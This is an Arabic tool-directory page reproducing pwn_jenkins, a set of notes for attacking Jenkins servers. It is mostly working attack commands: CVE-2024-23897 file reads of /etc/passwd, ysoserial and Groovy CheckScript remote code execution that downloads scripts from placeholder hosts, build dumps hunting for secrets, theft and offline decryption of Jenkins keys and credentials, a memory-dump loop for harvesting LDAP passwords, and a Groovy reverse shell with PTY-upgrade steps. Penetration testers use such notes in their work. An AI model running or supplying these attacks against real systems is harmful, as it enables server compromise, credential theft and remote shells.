Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pwn_jenkins — Notes about attacking Jenkins servers | Kitploit
أدوات/GitHubGitHub/gquere/pwn_jenkins
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingSecret DetectionPayload Development
GitHubgquere/pwn_jenkins

pwn_jenkins

Notes about attacking Jenkins servers

2.1k326منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

تنفيذ الأكواد عن بُعد

قراءة ملفات تعسفية عبر Jenkins CLI (ينطبق CVE-2024-23897 على الإصدارات الأقل من 2.442 وLTS 2.426.3)

إعلان Jenkins الأمني, المصدر

مع المصادقة، يمكن استرجاع ملف كامل:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

بدون مصادقة أو عند فقدان صلاحيات Global/Read، يمكن قراءة 3 أسطر فقط: قراءة السطر الأول:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

قراءة السطر الثاني:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

قراءة السطر الثالث:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

كيفية تخمين مفتاح تشفير بيانات الاعتماد.

استغلال RCE عبر إلغاء التسلسل في Jenkins القديم (CVE-2015-8103, Jenkins 1.638 وإصدارات أقدم)

استخدم ysoserial لإنشاء حمولة (payload). ثم نفّذ RCE باستخدام هذا السكربت:

root@kitploit:~
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

تجاوز المصادقة/ACL (CVE-2018-1000861, Jenkins <2.150.1)

إعلان Jenkins الأمني

التفاصيل هنا.

إذا كان Jenkins يطلب المصادقة لكنه يعيد بيانات صالحة عند استخدام الطلب التالي، فهو معرّض للثغرة:

root@kitploit:~
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

استغلال RCE عبر البرمجة الوصفية في إضافات Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

إعلان Jenkins الأمني

الثغرة الأصلية للاستغلال RCE هنا, الاستغلال الكامل هنا.

استغلال RCE بديل بصلاحيات Overall/Read وJob/Configure هنا.

استغلال RCE عبر CheckScript في Jenkins (CVE-2019-1003029, CVE-2019-1003030)

إعلان Jenkins الأمني, المصدر.

تحقق مما إذا كانت نسخة Jenkins معرّضة للثغرة (تتطلب صلاحيات Overall/Read) باستخدام بعض أكواد Groovy:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

ملاحظة: إذا حصلت على خطأ 403 بشأن عدم وجود crumb (وهو حماية CSRF في Jenkins)، فقد تتمكن من الحصول على قيمة crumb عبر طلب GET إلى https://example.com/crumbIssuer/api/json. يجب بعد ذلك إضافة قيمة crumb إلى طلب POST في ترويسة Jenkins-Crumb.

تنفيذ أوامر bash تعسفية:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

إذا لم تحصل على قشرة عكسية (reverse shell) فورًا، يمكنك التصحيح عن طريق إلقاء استثناء:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

استغلال RCE في إضافة Git (<3.12.0) لـ Jenkins (CVE-2019-10392)

إعلان Jenkins الأمني, المصدر.

يعمل هذا فقط إذا كان لدى المستخدم صلاحيات 'Jobs/Configure' في مصفوفة الأمان، لذا فهو خاص جدًا.

CorePlague (CVE-2023-27898, CVE-2023-27905)

إعلان Jenkins الأمني, المصدر

لاحظ أن هذا قابل للاستغلال فقط عند استخدام مركز تحديث مخصص وقديم. لذلك فإن معظم الخوادم غير معرّضة للثغرة.

تفريغ بيانات البناء للعثور على أسرار نصية واضحة

استخدم هذا السكربت لتفريغ مخرجات وحدة تحكم البناء ومتغيرات بيئة البناء على أمل العثور على أسرار نصية واضحة.

root@kitploit:~
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

رش كلمات المرور

استخدم سكربت بايثون هذا أو سكربت باورشيل هذا.

الملفات التي يجب نسخها بعد الاختراق

هذه الملفات ضرورية لفك تشفير أسرار Jenkins:

  • secrets/master.key
  • secrets/hudson.util.Secret

يمكن عادةً العثور على مثل هذه الأسرار في:

  • credentials.xml
  • jobs/.../build.xml

إليك تعبيرًا منتظمًا للعثور عليها:

root@kitploit:~
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

تفريغ بيانات اعتماد LDAP على جهاز مخترق

إذا تم تكوين Jenkins للتحقق من بيانات اعتماد المستخدم عن طريق تمريرها إلى LDAP (وهو أمر غبي، لكنه يمثل ثغرة شائعة في الشركات)، فمن الممكن استعادة بيانات اعتماد المستخدم هذه بنص واضح عن طريق تفريغ ذاكرة عملية Java. بافتراض أن PID الخاص بخادم Jenkins هو 7، ستقوم الحلقة التالية بتفريغ ذاكرة المكدس كل 30 ثانية:

root@kitploit:~
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

يُعد التأخير القصير مهمًا لأن جامع البيانات المهملة (garbage collector) يحرر بنى بيانات الاعتماد بانتظام.

فك تشفير أسرار Jenkins دون اتصال

استخدم هذا السكربت لفك تشفير الأسرار التي تم تفريغها مسبقًا.

root@kitploit:~
Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

سكربتات Groovy

فك تشفير أسرار Jenkins من Groovy

root@kitploit:~
println(hudson.util.Secret.decrypt("{...}"))

تنفيذ الأوامر من Groovy

root@kitploit:~
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

أمر شل متعدد الأسطر يمكن أن يتضمن أنابيب (pipes) وإعادة توجيه (redirects) وغير ذلك:

root@kitploit:~
def proc = ['bash', '-c', '''your_long_command_here'''].execute();

قم بأتمتة ذلك باستخدام هذا السكربت.

تنفيذ الأوامر على عامل (slave) محدد

بشكل افتراضي يتم التنفيذ على العقدة الرئيسية. استخدم هذا السكربت للتنفيذ على عامل محدد:

root@kitploit:~
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins

String agent_name = 'slave_name'

groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''

String result
Jenkins.instance.slaves.find { agent ->
    agent.name == agent_name
}.with { agent ->
    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result

قشرة عكسية من Groovy

root@kitploit:~
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

سأترك هنا هذه النصيحة الخاصة بالقشرة العكسية لاستعادة PTY يعمل بشكل كامل في حال احتاجها أي شخص:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
تنزيل الأداة